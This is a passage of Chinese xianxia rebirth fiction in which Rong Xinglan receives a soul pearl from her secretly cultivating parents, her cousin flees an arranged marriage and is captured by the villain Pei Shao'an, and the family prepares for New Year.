今日陈辞似乎不大高兴,在前面走得飞快,容星阑疾步跟了半路,懒得再跟,叫了声小灰,和黑牛一起慢悠悠地走了。
难道陈辞发现了她下蒙汗药的事?容星阑摇摇头,不应该,此事她做的极为隐秘,更何况陈辞说松香有异,那就更不会查到她身上。
不过,松香是怎么回事?
思及此,她便怀念起上一世在涂华山做鬼君的逍遥日子,想查什么,只消吩咐她的两位鬼将,自己只用在涂华山晒晒太阳和月亮,茶心和霍无自会将事情办理妥当。
想不通就暂且放在一边,临近家门,容星阑还想问
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问鲲娘的状况,道:“陈……”
‘阿辞’二字还未出口,就见陈辞将院门一关,将容星阑和黑牛拦在院外,自己进了屋,掩上房门。
容星阑:“……”
她打开院门,将黑牛放进院中,道:“莫名其妙。”
“阿阑!”裴书看到了她,喊她回屋。
她眉上挂着淡淡的忧愁,把容星阑带入房中,容星阑进了屋,才发现阿爹也在,端坐在屋内的方桌前,面露肃容。
二人郑重其事,容星阑眉心一跳,道:“爹,娘,怎么了?”
裴书勾出一个淡笑来,从怀中取出一个绣工精美的荷包,道:“打开看看。”
容星阑不明所以,打开荷包,见到内里之物,只觉紫雷又劈到了她的天顶,霎时又惊又麻,哑声问:“阿娘,这是什么?”
这分明是一枚魂丹!
上一世容星阑死后,自乱葬岗中茫然醒来,魂身被束缚在尸身几尺之内,以为人死后都是这样,不甘又无奈地等着鬼差来收她的阴魂。
然而等了一日、两日……数日,鬼差迟迟不来,她在自己尸身附近胡乱飘荡,魂身穿过凡尘之物,感受不到大雪严寒,亦感受不到晴天日暖。
但偶然间,她“触”到一物。
是她怀中的一本符书。
符书为她阿爷留下的遗物,她幼时觉得符文像极了涂鸦画,对其展现出超出旁物的兴趣,阿爷大为欣慰,直道容氏后继有人,便将符书送予她。这本符书便同众多话本一起放在她房中书架上堆灰。
她死的时候倒在地上,头磕到书架,符书正好掉落在怀。
不知是何人将她的尸身并那本符书一起,卷在席中,抬到乱葬岗上随便一扔。
自发现魂体可以碰到符书,便开始练画其中符文。练画时,符光大盛,符印结出,魂体逐渐凝实,她开始走向不为正道所容的鬼修之路。
重凝实体后,她的体内,多了一颗通体玄色的珠丹,此珠助她炼化阴气与怨气,便如修士的金丹,此乃她作为鬼修的魂丹。
她惊愕不言,裴书道:“此乃你阿爷留给你的,是救命的宝物。”
容晏道:“此物有灵,滴血认主,阿阑,来。”
容星阑呆呆地看着容晏将针刺过来,在就刺入指腹之时,猛然将手一缩。容晏似乎早有所料,攫手握腕,在她尚未反应之时,血滴落下,滴入珠内。
玄珠凭空消失,容星阑感受了一下,并未感受到身体有何不同。
她不是修行之人,尚未引灵入体,是以无法内观经脉神府。亦不是鬼魂之身,无法探查魂体是否有异。
容玄蕴看向爹娘:“救命的宝物,是怎么个救命法。”
裴书温柔轻笑:“怎么呆住了?你阿爷行形法之术,有法宝留下又不是稀罕事,便是隔壁村算命的二瞎子,也有几把刷子。”
容晏道:“待性命攸关时,自然就会知晓。”
容星阑只觉似乎不大认得爹娘。他们一言一语,谈笑自若,好像给她的真是一个寻常的宝贝。
此乃魂丹,爹娘到底知不知道?
若是知道,爹娘又是何人?
她想到了鲲娘。
先前在陈辞家中见了鲲娘,她说的第一句是‘你是容晏的女儿’。
鲲娘,当真是大伯的外室吗?
14.瓜田
她原本还想问容玄蕴的婚事,现下却什么也不想说了,连自己是如何走出父母房门,怎么回的自己房间,都不知道。
她扑到床上,把头埋进软被中,压得坏头蛇大叫一声:“你谋杀啊!”
容星阑不语。
坏头蛇察觉不对,挣扎着从被中出来,游到她边上,探头准备看她的面色,只见容星阑的脸紧紧捂在软被上,啧道:“原来你是要自杀。”
坏头蛇:“发生什么事情了?”
容星阑把自己憋地呼吸不畅,又觉做人真是没有做鬼自在,做鬼何须呼吸。便抬头道:“两件大事。”
容星阑:“第一件大事,容玄蕴定亲了。”
坏头蛇:“唔,我知道,刘员外嘛。你放心,她又不会真的嫁给他。”
容星阑:“第二件大事,我爹娘,好像不是我爹娘。”
坏头蛇沉默片刻,道:“别说的这么玄乎,怪渗人的。你爹娘不是你爹娘,那是谁?”
容星阑:“也不对,他们是我爹娘。只是,他们好像不是我所熟知的爹娘。”
坏头蛇懂了:“哦,我知道了,马甲嘛,你爹娘有另一重身份。”
容星阑闷声道:“是这个意思,这也是你故事中设计的情节?”
坏头蛇头摇成拨浪鼓:“不是。”
容星阑想不明白:“他们有事瞒着我,为什么要瞒着我?又瞒着我什么?”
坏头蛇:“哎呀!想不明白就不想,他们不管是谁都是你爹娘,只要不是容玄蕴他爹娘那样就成,总归不会害你。再说了,你不也有事瞒着他们吗?”
容星阑思考着它的话。
坏头蛇又道:“我觉的你爹娘很好,尤其是你娘,你一会儿跟裴姨说一声,今晚吃酱排骨,我想吃。”
容星阑觉得坏头蛇言之有理。
管他们有什么身份,意欲如何,总归是爱她的爹娘。她上一世得以以鬼修存在于世数百年,莫非也跟魂丹有关?这一世爹娘亲自将魂丹给了她,上一世会不会在她不知情的时候,也将魂丹给了她。
算了,容星阑甩甩头。
她朝屋外大喊一声:“阿娘!今晚想吃酱排骨和红烧肉!”
……
陈辞推开院门,放下背篓,正要将手中牵着黑牛的绳索套在院中,脚步陡然一顿。
鲲娘所在的伙房房门紧闭,结界亦无异动。
他瞥了一眼,将背篓中的玉米倒在地上,牵牛出院。
隐在伙房内的容晏望着陈辞远去。
鲲娘卧在窗前自制的木榻上,目光懵然,几日来,虽隔窗确定他就是日安,但此人站在跟前,难免唏嘘。
她喃声道:“日安,竟真是你。”
容晏道:“鲲娘。”
容晏看了眼鲲娘隆起的小腹,道:“霍无……”
鲲娘沉眸,目含泪光,悲痛道:“阿无,已死在裴劭安那狗贼剑下。”
容晏目视不忍,道:“我与裴书商定,送你回东海。”
鲲娘摇头:“扶苍山的人本就在寻你,他们应当已经知晓了我的踪迹。青峰山厢房的香中,被人掺了蚀骨散。”
容晏面容凝重:“蚀骨散。”
鲲娘道:“是啊,蚀骨散。蚀骨散只对身怀灵力的修士或大妖有用,凡尘之人就算吸入,也不过昏睡半日。”
“背后之人早有准备,不仅知道你在哪里,还知道我在哪里。”容晏将那日在驿站收到的纸条递给她。
鲲娘见纸上字迹,面露异色:“这……是我的字,但我不曾写过。”
容晏问:“你是如何来的郝牛村?”
鲲娘回忆道:“自我有孕的讯息被传开,扶苍山的狗修士立即动作,将我和霍无拦在蛮荒鬼山。霍无死后,我奋力逃亡,在人群中东躲西藏,然而没有玲珑骨,又怎么能藏住我的妖息?”
“那裴劭安时而追杀的急,时而我又似乎摆脱了他,一路逃到了附近山中,正在山洞中打坐调息,裴劭安忽然出现,带了一众修士,将我团团围住。”
“我以霍无的剑辟出一条生路,继续逃亡,不知不觉,逃到了一处玉米田中。田中有一只黑牛,黑牛藏息,我躲在牛腹下,那裴劭安在空中查探半晌,似乎并未察觉我在何处,侥幸逃过一劫。彼时妖力枯竭,我昏睡过去。”
“而后……就被容成所救。”
容晏:“我大哥?”
鲲娘:“正是。他对我悉心照顾,每隔三日,便送几只生鸡,直到我无意间得知你的存在,才知他是你的大哥。”
容晏若有所思,道:“早知会有这一日。”
鲲娘道:“此话何意?”
容晏道:“裴劭安此子,睚眦必报。当年在你那吃了苦头,又受了我一剑,怀恨在心。我自夺走扶苍山星辰剑法后,掌门大怒,一直派人搜寻我的踪迹,势必要将我挫骨扬灰。”
“裴劭安定然早知我藏身郝牛村,亦在暗处关注你的踪迹,就在等一个机会,一个要我们二人生不如死的机会。”
鲲娘哑然,道:“你带着妻女走罢,我在这里做幌子,只拜托你带走我和霍无的孩儿。”
“不。”容晏看向她,“鲲娘,我们没有做错什么,一直逃,总有被抓捕的那日。”
“不如将计就计,和裴劭安,演一出戏。”
鲲娘:“那你的女儿……”
容晏道:“无妨,阿阑有容老留下的魂丹。”
他苦笑:“阿阑根骨奇差,断不是修行的料,只好出此下策。我们总有护不住她的那天,甚至会给她带来杀身之祸。有了魂丹,即便身死,寻一山头,做一只快活的鬼修也好。只要不为非作歹,害人性命,惹不到仙家管她。”
鲲娘叹道:“也好。”
她想起什么,又问:“这家儿郎是你的人?”
容晏道:“阿辞是我一手看大的,他自幼失亲,是个可怜的孩子。”
鲲娘了然,心道那少年郎果然是容晏专门派去救她的人,又想起日安定然不知他和自家女儿的浑事,便不再细问。
容晏道:“待阿阑和郝一成了婚,我们就出发东海。”
……
陈辞寻了一处草木芃芃的地方,自己在树上打坐,黑牛被他拴在树下啃草。
调理一个小周天,他睁眼,看向西瓜田中那鬼祟的身影。
不必看,也知那是容星阑。
她在偷西瓜。
容星阑东张西望片刻,蹲在西瓜田里挑西瓜。
这是郝益清家的田,他是村中种田大户,这几日西瓜熟了,他日日守在田里,有人来就卖,有人偷就打。
容星阑自然是来买的,只是看了看他那遮阳的小帐篷,压根没个人影,又喊了几声,见没人,便甩了几个铜板在帐篷里,自己挑了起来。
坏头蛇:“你怎么干什么都有一股偷感?”
容星阑专
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心致志地拍着西瓜:“何为偷感?”
坏头蛇:“就是偷偷摸摸的感觉。”
这个瓜声音有点闷,容星阑换一个拍,道:“你才偷偷摸摸。”
“容星阑。”陈辞在她身后,“又在鬼鬼祟祟做什么?”
容星阑叫冷不丁出来的声音一吓,浑身一抖,一时重心不稳,向后倒去。
陈辞见状后退,一手上前准备拎住她,容星阑却早已察觉他后退的姿势,以为他不愿接住自己,为避免和泥土亲密接触,慌乱中扯到一个长带。长带叫她一扯,扯落在地,她另一只手又连忙向上捞抓,用了十足的力气将他伸过来的手臂一拉,让自己不往后仰。
后果就是,陈辞措不及防地被她拉倒在地。
衣袍带子还被扯开了。
容星阑的头撞到他的下巴,痛呼一声,捂头向上看去,看见一张阴沉得不能再阴沉的脸。
陈辞寒声开口:“容、星、阑。”
“嘘!”容星阑一把捂住他的嘴。
瓜田里有声音。
帐篷后面不远处是另外一个瓜田,那里还有一个帐篷,是李家的帐篷。
两张帐篷中间,有两人滚抱在地里,正吻地不知天地为何物,衣衫尽褪,容星阑抬头望去,只觉白花花一片。
她不知情事,霎时惊愣,冰凉的手掌覆在她眼前,将她向后一带,揽在怀中:“别看。”
说完那边又传来使人臆想连篇的声音。
容星阑:“……”
此时两人走也不是,不走也不是,容星阑生怕自己的动作惊吓到瓜田中的那对野鸳鸯,一动也不敢动,静静靠着陈辞。
靠了半晌,容星阑小声道:“陈阿辞,你硌到我了。”
陈辞身形一僵,不作声地将身体向后挪了一挪。
容星阑感受到身后的人分明动了动,但他的下巴还硌在她脑袋上,身体只好向后又贴了贴,将头向下缩。
那下巴一顿,跟着她的脑袋也向下:“别动。”
容星阑忍无可忍,小声道:“你干嘛追着我硌!”
陈辞一愣:“没有。”
容星阑索性用头向上一撞:“你还说你没有,你下巴是铁做的,硌死人了!”
陈辞:“……”
他将头向后仰了仰,道:“现在好了。”
好在瓜田中的那对野鸳鸯动作迅速,在容星阑耐心耗尽前,已经穿戴整齐。
郝益清虚着步子走向帐篷,看见从瓜田里站起来的二人。
容星阑头发微乱,面容泛红,她一直揉着头顶,衣裙上沾了泥。
陈辞沉静地整理衣衫,手中系着腰带。
他意味深长地看了二人一眼,掰了个小西瓜,笑道:“累了吧,要不要吃个瓜。”
容星阑怒瞪他一眼,骂了句脏话:“浑货!”
青天白日,瓜田里是干事的地方吗?害她衣裙都弄脏了,脖子也有点扭了。
郝益清被骂了也不恼,嬉笑道:“陈大哥,好兴致啊。”
陈辞冷眼瞥他,不欲作声。
郝益清道:“我懂,你们俩的事,我绝对不往外说。”
闻言,陈辞提锄上前,一挥锄扬进土中三尺,锄柄堪堪立在郝益清身前。
郝益清连忙抬手作饶,容星阑又怒瞪一眼:“贼喊捉贼!”
二人走远,郝益清继续吃瓜,吐着西瓜子啐道:“瓜田李下的,装什么!”
15.逃
夜深,郝牛村家家户户都熄了灯,只有一处还亮着昏黄的灯光。
容星阑自房内探头,确定爹娘已经熟睡,提着早备好的食盒,蹑手蹑脚跨过陈辞家栅栏,走向那盏烛火晃悠的伙房。
陈辞应当睡了,他向来自律。容星阑溜进伙房,鲲娘撑头看她。
这女妖竟能将伙房住出雍容的意味,想来原本的生活应当是锦衣玉食的。容星阑暗自打量一番,递出食盒。
女妖也不挑剔,静静用饭。
容星阑问:“你认识我爹?”
“你和容成是什么关系?”
“那日在青峰山,你为何会走进我们的厢房?”
鲲娘细嚼慢咽,吞下饭菜才道:“你要我先回答哪个。”
容星阑沉吟片刻道:“你是不是认识我爹。”
鲲娘淡然摇头:“不认识。”
容星阑:“你那日提起了我爹。”
鲲娘:“容成说的。”
容星阑:“你和容成什么关系。”
鲲娘:“他救了我。”
容星阑静默不言,若真是这样,倒也说的过去。传闻那些大妖虽妖力深厚,比起人心弯弯绕绕就单纯许多,若容成对女妖有救命之恩,再花言巧语、悉心关照,女妖错爱他也情有可原。
不少话本里也有此桥段。
她又问:“那日在青峰山是怎么回事?”
鲲娘:“有人领我去了容家的厢房。”
容星阑又陷入沉思。容家在巧娘殿确实有一个厢房,是阿爹的镖局常年供奉才有的位置,若是这女妖因容成的原因报了容家的名号,锦衣童子将她领到‘静无’厢房,倒也不无可能。
只是她分明调换了门号,为何还是将她领到了他们厢房,难道锦衣童子不看房号?毕竟厢房的位置是分好的。这样一想,也说得过去。
又想到此妖大着肚子失踪,容成似乎也不着急,乐呵呵地筹办容玄蕴的婚事。容星阑看了看女妖隆起的腰腹,道:“容成不是什么好人,他殴打妻女。”
鲲娘:“与我何干?”
容星阑蹙眉,不曾料想女妖对容成竟忠贞至此,不在乎他有家室就罢了,竟也不在乎他人品恶劣!
鲲娘轻笑:“你问了我那么多,我也有问题想问你。”
容星阑:“你问,我答不答看心情。”
鲲娘:“你到底是喜欢郝一,还是喜欢陈辞?”
容星阑神色古怪,这是什么问题?
先不说她现下根本不考虑儿女情长,只想爹娘安康,一家人平安幸福。且说郝一和陈辞,为何会放在一起论足?
陈辞将来是无情道的第一剑君。
而郝一,明月清辉,照的是所有人。
不过现下她和郝一婚约还未解处,便佯装愠怒:“你问的什么话?我和郝哥哥婚约在身,不可胡乱造谣。”
鲲娘但笑不语。
容星阑道:“你吃好了就在这好好歇着罢,容成定是不会寻你了,待二月一过,我再放你出去。届时我会给你一笔钱,天涯海角,想去哪就去哪,好好做妖,别再跟凡尘的男人混在一块。”
鲲娘轻笑:“好。”
没想到女妖答应的这么爽快,容星阑反而一顿,不知该说什么,默了默问道:“你叫什么?”
鲲娘笑道:“鲲娘。”
“鲲娘。”容星阑点点头,“你可唤我星阑,既然怀着孩子,早些歇息,我日日来给你送饭。”
容星阑走后,鲲娘笑声空灵,不知对着谁道:“听见了吗?”
“她喜欢的,是郝一。”
长夜漫漫,烛火扑熄,室内无言。
……
翌日。
鲲娘的事暂且解决,容成不寻她,爹娘就不会在腊月走镖,容星阑渐渐安心,几乎确定不会重蹈前世的覆辙。
现在要解决的是她和郝一的婚事。
“阿娘。”容星阑支开窗,叫住正往外走的裴书,“我有事想跟你说。”
容星阑的房内绿植芃芃,裴书坐下,笑道:“何事这么郑重,还得到房内说。”
容星阑莫名紧张,捏了捏衣角,深吸一口气,道:“我想退婚。”
裴书笑意一僵,问:“为何。”
她语气平平,好歹是自己的娘,容星阑敏锐察觉到了两个字中的威严,道:“娘,我不喜欢郝一。”
裴书安抚她:“是不是和郝一闹别扭了?你从前最喜欢郝一,怎么忽然就不喜欢了。闹别扭是常事,总不能闹一次别扭,就换个人喜欢。”
容星阑摇头,不知该从何说起,郝一前世和容玄蕴成了婚,这一世她不会身死,前世的事也不会发生。但那本就不多的年少悸动,早已在前世岁月中磋磨掉了。
她道:“娘,我不是随口一说。我不想和郝一成亲,我不想和任何人成亲,我只想和爹娘好好在一起。”
裴书温声道:“郝一性格温和,对你也是极好。他爹身为里正,家中却无妾室,家风端正。”
“星阑,我和你爹不能一直护着你,你在凡尘世间,总要有个归宿。”
容星阑声音抬高:“嫁人算什么归宿,堂姐被许给刘员外,也是归宿么!”
“星阑!”裴书呵斥,“此事,不可再议。”
容星阑杏眼睁得奇大,她不可置信地看着裴书走远,坏头蛇从被中钻出来,长叹一声:
“唉,自古以来,婚配就是父母与子女的终极命题,没想到我书中的角色,也逃不过因婚事和父母争执的命运。难啊!”
……
“星阑。”
容星阑正烦,听见窗外有人叫她,本不想理会,那人又叫了一句,她听出是堂姐的声音,这才搓了搓脸,起身开门。
“星阑,我想好了。”容玄蕴神色平静,“我准备逃婚。”
“什么!”坏头蛇惊叫。
“什么声音。”容玄蕴警惕站起,四处巡视。
容星阑赶紧清咳两声,压住坏头蛇,学着牛声高昂地“么!么!”两声,道:“许是外面的牛叫,堂姐,我们出去说。”
她将容玄蕴领到自家后院的树下石桌处。
容星阑进屋端了一壶茶出来,道:“堂姐,此处无人,你慢慢说。”
容玄蕴道:“我想好了,我不想困于宅院,不想委身他人。”
“听闻一直往东走,就有机会撞仙缘。我打算去试一试,若是与仙家无缘,就寻一渔村,做一介渔女,也是极好。”
容星阑:“堂姐,我也想和你一起走。”
容玄蕴摇头笑道:“莫要再耍小孩脾气了,郝一很好,你有爹
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娘疼爱,未来夫君也是谦谦君子,待郝一日后考取功名,你的福气还在后头。”
容星阑很难解释,只道:“罢了,说不明白。”
她从怀中取出早已准备好的银钱,道:“堂姐,珍重。”
“听闻世外有三座仙山,其中云音山杂修众多,有以各种器技入道者。你一路前去,不若打听打听。”
容玄蕴接过银钱,坦然收下:“星阑,谢谢。”
容星阑笑道:“不必言谢,不求‘苟富贵,勿相忘’。只求若有朝一日,我和你对峙两方,你不要对我刀剑相向就好。”
容玄蕴露出一个真心实意的笑:“不会有这么一天。”
……
容星阑闺内。
“容星阑,你最好老实交代,你到底跟我的女主说了些什么!”
容星阑弹走坏头蛇,道:“你的女主要离开郝牛村了。”
坏头蛇:“她去哪?“
容星阑摆弄植物:“自然是去寻仙问道,这不是她命定的道路吗?”
坏头蛇:“你知不知道什么叫蝴蝶效应?她现在出去,万一遇到歹人,万一……”
坏头蛇不敢想,剧情彻底崩了,故事完全朝着她不知道的方向发展。
容星阑问:“何为蝴蝶效应。”
坏头蛇:“就是牵一发动全身。”
容星阑:“那便没办法了,事已至此。你应当相信女主光环,这不也是你与我说的么,女主总是幸运的。”
坏头蛇:“……”
它叹气:“但愿如此。”容玄蕴要走,它也不能怎么办,它现在只是一条小蛇。
……
容玄蕴走了,在一个夜里走的,听伯娘说,家中只少了她的两身换洗衣物。容玄蕴逃了,却什么也没带。
容成自然勃然大怒,但也不敢广而告之,几日来焦头烂额,暗自找人去寻,断然不敢叫刘员外知晓。
他自然是寻不到人的,所以只好找到容晏这里来,他在镇上开镖局,人脉广,想拜托他找找。
容星阑正抱着一盆薜荔出门,正好听见容成和容晏的谈话。
容成:“晏弟,我这几日真是忧心地连饭也吃不下,你说玄蕴那孩子怎么这么想不开,外面到处山匪强盗,万一有个什么好歹,叫我后半生如何安心!”
他作势就要跪下:“大哥求你了,帮我寻一寻玄蕴吧,再怎么说,那也是我的骨肉。”
容星阑步伐极慢地路过堂屋。
容晏连忙将他拦住,扶起身,道:“大哥,你放心,玄蕴是我的侄女,我即刻便去镖局差人寻她。”
容成泪涕横流,容晏快步向外走去,一吹哨,远处奔来一匹骏马。
容星阑刚到院门,见阿爹疾步过来,赶紧让道,就见阿爹翻身上马,疾驰而去。
容成脸上还挂着泪,在风中独自凌乱:“这么快……”
他在脸上抹了一把,看向院门处的容星阑:“星阑,叫你见笑了,玄蕴要是像你这么乖巧懂事就好了。”
容星阑便乖巧一笑,又面作忧心,道:“大伯,阿爹已经去寻堂姐了,你不必太担心。瞧您,都瘦了。”
“好孩子。”容成吸着鼻子,看向她臂中的植盆,“你干什么去?”
“哦。”容星阑道,“给人送花。”
16.长簪
容玄蕴在山里走了五天。
既然要逃,自然要选一条任何人都想不到的路。
郝牛村三面环山,是山间一座平原村落,村道通向周边的村镇,她却选了通往山上的小路。
小路走久了,连路也没了。山林中杂草重生,时不时听见远处兽鸣。
没有路,她便自己开辟道路,就这样足足走了五天,坐在一处溪石上,用手舀水喝。
林中忽然出现一群人声。
“老大,我们什么时候才能开开荤,素了好久,饿了。”
光膀子持刀男道:“最近行情不好,没有进货,先忍忍。”
“大哥,二哥,那里好像有个人。”
山匪齐齐朝着溪石处看去。
其中一人□□:“是个女人!嘿嘿,真是困了有人递枕头,饿了就有人递荤肉啊!”
光膀子持刀男道邪笑:“兄弟们,走!”
容玄蕴听到脚步声时,已经来不及了,一群山匪将她围住,看她的目光如同饿狼看到猎物。
容玄蕴握紧了袖中的长簪。
她既然出逃,早做好了准备。若当真命运行背如此,她便自我了结免受苦楚。但看着越围越近的山匪,容星阑眼眸深沉,为何命运不愿厚待她?
“小娘子,一个人在山中,打算去往何处?”
一名山匪猥琐笑:“行路难,不如和哥哥们一起找找乐子。”
说完,其中一位山匪扑身上前,容玄蕴弯身一躲,急速跑向山中。
山中树枝众多,奈何她拼尽全力也跑不快,脚步深浅间,被山石绊倒在地。
容玄蕴回头,看向身后悠然靠近的一行山匪,不觉捏紧长簪。
咻!
一支箭划破长空,□□的表情还挂在山匪脸上,彻底冻结,匪徒直直倒地。
容玄蕴抬眼看去,空中飘下一个颀长的身影。
那人身着白袍,面容清俊,端正如玉,只是那双闪着烁光的眼中,露出几分不符合身形长相的张狂。
裴劭安落到容玄蕴身前,居高临下地看她,轻笑:“巧了,这不是容成那小子的女儿吗?”
……
“阿辞哥哥,在家吗?”
“陈阿辞?陈辞!”
容星阑将薜荔放到后院石桌上,嘟囔:“没人?”
陈辞不在,小黑牛在侧棚中轻哞一声,容星阑撸撸牛头就走了。
刚回自家院子不久,院外一阵马蹄声,容星阑在窗边修剪绿植。容成已经回家,她听阿娘问:“找到了吗?”
容晏:“哪能这么快,刚遣了人循着村道通向各个村镇的路上去寻了。”
裴书:“但愿玄蕴无事。”
容晏:“别忧心了,玄蕴是个有主意的孩子,她不会受欺负的。”
容星阑将修好的茶树盆景摆放在窗前。
……
陈辞刚进院门,鲲娘柔笑的声音飘入他的耳朵:“小郎君,你的心上人给你送东西来了。”
陈辞放下背篓,走向后院。
盆中绿植的叶片呈三角心形,圆钝可爱,叶边在阳光下泛着金光,是一盆金边薜荔。
他轻轻触碰叶片,鲲娘的笑声自虚空中荡开,道:“看来你很喜欢。”
陈辞不答,将薜荔抱入寝房,他环视自己仅有一张木床的屋内,又将薜荔抱了出去,放回石桌上。
屋中简单乏味,并无可以承放一盆薜荔的家具。
……
容家老宅。
白衣修者自虚空中将容玄蕴推进屋中,容玄蕴趔趄在地,裴劭安道:“轻点,也不知道怜香惜玉。”
话毕,他才从虚空中踏出脚来,步履翩翩,好似一位俏公子。
裴劭安在屋中坐下,环视屋内陈设,笑道:“原来容晏逃下山后,就藏息在这里。”
容玄蕴问:“你是什么人?”
裴劭安低声轻笑:“我救了你,自然是你的救命恩人。”
他俊脸凑近,笑眼问:“有你这么跟救命恩人说话的吗?”
“不过也正常。”裴劭安捏着她的下颌道,“容成那小子,能教出什么样的女儿。”
容玄蕴甩开裴劭安的手,道:“你想干什么?”
裴劭安道:“我们来说说你,好端端地,怎么想的到出逃这么妙的法子?”
他笑意凌厉:“是不是你那堂妹,容晏的女儿教你的?”
不待容玄蕴回答,裴劭安又捏住她的脸,指间用了力,凝眼看她:“你长的倒是和你堂妹一点也不像,看起来,别有一种风味。”
眉眼桀骜,如此不忿,和他的师妹如出一辙的倨傲倔强。
容玄蕴在袖中暗自握紧长簪。
裴劭安的目光毫无遮掩地打量她:“我救了你,你说,你要如何报答呢?”
他贴地极近,露出白净的脖颈,容玄蕴用尽全力,握紧长簪在此刻骤然一刺。
手腕被人毫不留情地捏住,裴劭安轻笑:“你很有勇气。”
他两指一紧,容玄蕴吃痛松手,长簪落地。
“你就想用这支长簪对付山匪?”裴劭安捡起长簪,凑近端详,笑道,“如此一把破簪子,用来杀人,好像也不是不可以。“
他一抬指,长簪又落回容玄蕴手中。裴劭安立起身,道:“为了回报我的救命之恩,你帮我做一件事吧。”
他看也不看他,转身向外走,一挥手,一颗灵珠闪着白光没入容玄蕴额中消失不见。容玄蕴目露怔光,似乎有些呆痴。
“好生照顾容成的女儿,不可轻慢。”
留下的修者低头:“是,师兄。”
……
日子一晃,很快就到了腊月。
窗前的山茶盆景开出一朵赤粉的花,容星阑百无聊赖地看着窗外。
自容玄蕴离开,陈辞总是早出晚归,见不到人。
郝一要进学,当然,幸而郝一要进学,想到自己两个月后的婚事,容星阑发愁。
坏头蛇受隆冬影响,总是困顿,一日里几乎都是睡眠中度过,它对解释道:“这是生物本能,谁叫我现在是一条蛇,冬眠就是我无法克服的生物本能。”
除夕将至,爹娘也在镖局繁忙起来。容星阑很无聊,这是她度过最为冷清的一个腊月。
不过爹娘今日回来的很早。
裴书一进院门就笑着招呼窗前的容星阑:“阿阑,快来。还有几日就要除夕了,窗花还未贴呢。”
终于有新鲜事,容星阑忙应一声,跑了出去。
就见小路那头陈辞牵牛回来,容晏见了他,遥遥喊道:“阿辞,一起来剪纸。”
容星阑取了纸,学着裴书将纸叠成一个尖扇形。
裴书先用刀尖在纸上划出花样的痕迹,道:“先划上纹痕,再剪就不会乱。”<
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p>容星阑不由想起青峰山庙会的时候,陈辞没有刻花样这一步骤,直接就剪了,问道:“那要直接就剪出很繁复华丽的花样呢?”
裴书笑道:“那便是花样在人心中,在心中自然不必多此一举了。”
容星阑点点头,看了眼刚进院门的陈辞,琢磨起她想刻画的花样。
陈辞进院道:“裴姨,晏叔。”
容晏递给他一张彩纸,陈辞领了纸,也坐到桌上刻画起来。
容星阑抬头奇道:“你怎么也要先划出纹痕?”
容晏正在拌米糊,闻言抬手轻敲她的脑袋:“就许你这样,不许阿辞这样,阿阑也太霸道了些。”
容星阑捂头,见陈辞默声,似乎不欲解释,道:“才不是!”
裴书已经剪好了一张窗花,她展开纸,上面是一张鲤鱼跃荷图。
容星阑注意力被吸引过去,惊叹:“阿娘好生厉害!”
裴书柔声一笑:“你和阿辞在这里剪,我去写对联。”
容星阑便凑过去看陈辞的划纹,刀尖左一笔,右一笔,她看不懂,索性回过头,刻自己的纹样。
容星阑很快就刻好了,拿着剪刀剪出形状展开,陈辞也同时停下剪刀,展开窗花。
“咦。”容星阑问,“是茶花!”
层层叠叠又十分规整的花瓣,一如她窗前的茶花。
陈辞看向容星阑手中剪纸,问:“你剪的是什么?”
容星阑抬手展示,她看着上面奇奇怪怪的花纹,道:“自然是窗花啊!”
陈辞:“……”
容星阑一点也不赧然,她眸光精亮道:“阿辞哥哥,我们去写对联吧!”
陈辞还未来得及拒绝,手中已经被塞入一只未蘸墨的毛笔。
“阿爹阿娘,阿辞哥哥要写对联。”
裴书和容晏闻言让开,容晏道:“哦?那便让我们观摩一二。”
陈辞被推向放着对联的桌上,提笔沉默片刻,道:“我不会写字。”
容星阑捂嘴偷笑。
裴书反应过来,抬着笔尾敲她脑袋:“不许使坏。”
她温声道:“这有何妨,阿辞剪的一手好窗花,听星阑说,那日在青峰山庙会,你剪了一张巧娘图,很是精妙,还夺了彩头。”
容晏点了点容星阑的额头,对着陈辞道:“剪纸亦是一门旁人学不来的本事。”
裴书笑道:“剪纸剪好了,那就贴上去吧。”
容星阑抱着被塞在怀中的米糊桶,道了声哦:“走吧,陈阿辞。”
她糊好米糊,在窗户上比对两下,就要贴上,容晏指挥:“再高点。”
容星阑垫脚,容晏还道:“还得再高点。”
容星阑跺脚回头:“再高……”
还没说完,剪纸被人从手中拿走,贴在窗户正中,是容星阑垫脚也够不到的地方。
容晏笑:“星阑,你看,你也有比不上阿辞的地方,以后不许欺负阿辞。阿辞对你是很好的。”
容星阑撇撇嘴,向上一瞪:“长得高了不起啊。”
正好瞧见陈辞微微勾起的嘴角,她一愣,就见那嘴角立即平了下去,道:“看什么?”
容星阑眨眨眼,疑心自己看错了,摇头道:“没什么。”
天色渐黯,一粒雪籽飘下,落到容星阑手背上。
众人抬头望天,容星阑轻声道:“下雪了。”
17.前世梦回
雪一连下了几天。
除夕前夕,雪夜,郝牛村寂寂无声。
黑头自沉睡中苏醒,它好像闻到了陌生的味道。那味道转瞬即逝,它不安地甩甩尾巴,继续睡去。
容晏自黑暗中惊遽睁眼,神识刹那间铺展开,隔壁小院伙房中的鲲娘尚在沉睡,郝牛村上空灵力波动。
裴书感知到熟悉的灵力波动,道:“是扶苍山,裴家。”
容晏起身易袍,全然不似凡尘中人,裴书紧跟其后,夫妻二人闪瞬至陈辞家伙房中。
“鲲娘。”裴书将鲲娘摇醒,“醒醒。”
鲲娘眉头紧锁,迟迟不醒,全身妖形忽隐忽现,紧紧捂住小腹,似在忍痛,竟在睡梦中咳出一滩黑血。
裴书连忙给她把脉,惊道:“不好,是化骨丹。”
“化骨丹药香苦涩,鲲娘不会闻不出,是怎么回事?”
容晏感知那灵力波动愈发强烈,当机立断,道:“来不及了,先带鲲娘走!”
二人各自挟住鲲娘一侧,转瞬消失在伙房中。
裴劭安不紧不慢地从灵力波动中踏出,道:“先让他们逃一会。”
他笑问身后修士:“九阎千杀阵布好了吗?”
身后修士躬身道:“已经布置好了,就在绝崖山口。”
裴劭安怡然癫笑:“那就开始玩一场赶羊的游戏吧。羊跑得再快、再远,总归是要入圈的。”
……
这一夜容星阑睡得很不安稳。
梦境中嘈嘈杂杂,她梦到了前世身死的那日。
容星阑正坐在铜镜前梳妆,铜镜中的她扎着少女发髻,满心欢喜地别上两只蝶簪。
过了除夕,再过两月,就是她和郝哥哥大喜的日子。
想到郝哥哥,她不由心生一种难言的喜悦,是那种一想到就不觉扬起嘴角的喜悦。
一连下了几日的雪,容星阑一点也不冷。她的冬衣是阿娘亲自绣的棉里和裘毛,不仅轻便温暖,还衬得她的粉面雕琢。
她坐在镜前想:爹娘和睦安康,未来夫婿可期,世间圆满,也不过如此了罢。
